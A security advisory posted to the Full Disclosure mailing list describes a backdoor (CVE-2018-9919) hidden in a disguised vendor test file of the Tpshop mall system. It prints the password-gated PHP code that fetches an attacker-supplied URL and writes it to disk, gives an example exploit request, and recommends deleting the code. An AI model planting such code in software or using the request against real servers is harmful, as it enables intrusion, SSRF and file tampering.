full-disclosure - [FD] Backdoor in Tpshop <= 2.0.8 (CVE-2018-9919)

Open Source and information security mailing list archives

Message-ID: <201804281659526712744@baimaohui.net>+8916EE70C42E4BFD
Date: Sat, 28 Apr 2018 16:59:57 +0800
From: "service@...maohui.net" <service@...maohui.net>
To: fulldisclosure <fulldisclosure@...lists.org>
Subject: [FD] Backdoor in Tpshop <= 2.0.8 (CVE-2018-9919)

# Backdoor in Tpshop <= 2.0.8 (CVE-2018-9919)

The Tpshop open source mall system is a  multi-merchant mode mall system developed by Shenzhen Leopard Network Co., Ltd.This system is based on the Thinkphp development framework. 

## Product Download: http://www.tp-shop.cn/Index/Index/download.html

## Vulnerability Type：Web Backdoor

## Attack Type : Web Backdoor

## Vulnerability Description

Tpshop has a backdoor code in the '/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php' that can be used to download files to the other server and can also initiate attacks through SSRF vulnerabilities.

The vulnerability code:

    /vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line 486 to 499):
        $path = $_REQUEST['bddlj'];
        $fileUrl =$_REQUEST['down_url'];
        if(md5(md5($_REQUEST['jmmy'])) !== 'caae8ca617372b67363bd284e98430f2')
            return false;   
        $path = strtolower($path);
        if(strstr($path,'php')) return false;   
        $ch = curl_init($fileUrl);            
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_BINARYTRANSFER,1);
        $file = curl_exec ($ch);
        curl_close ($ch);                   
        $fp = fopen($path,'w');
        fwrite($fp, $file);
        fclose($fp);                                

## Exploit

The attacker can exploit this vulnerability to attack the server and increase its privileges,Example: download arbitrary files，scan network port，information detection,attack internal network vulnerable’s server.

http://target//vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php?bddlj=save_filename&down_url=download_url&jmmy=decryptpass

## Versions

Tpshop <= 2.0.8

## Impact

Web Backdoor in Tp-shop 2.0.5-2.0.8 version allow remote attackers to download arbitrary files，scan network port，information detection,attack internal network vulnerable’s server，may even cause a remote command execution via the url parameter。

## Repairs

Delete Web Backdoor code. (/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line 486 to 499))

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang &  National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9919

Best wishes!

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives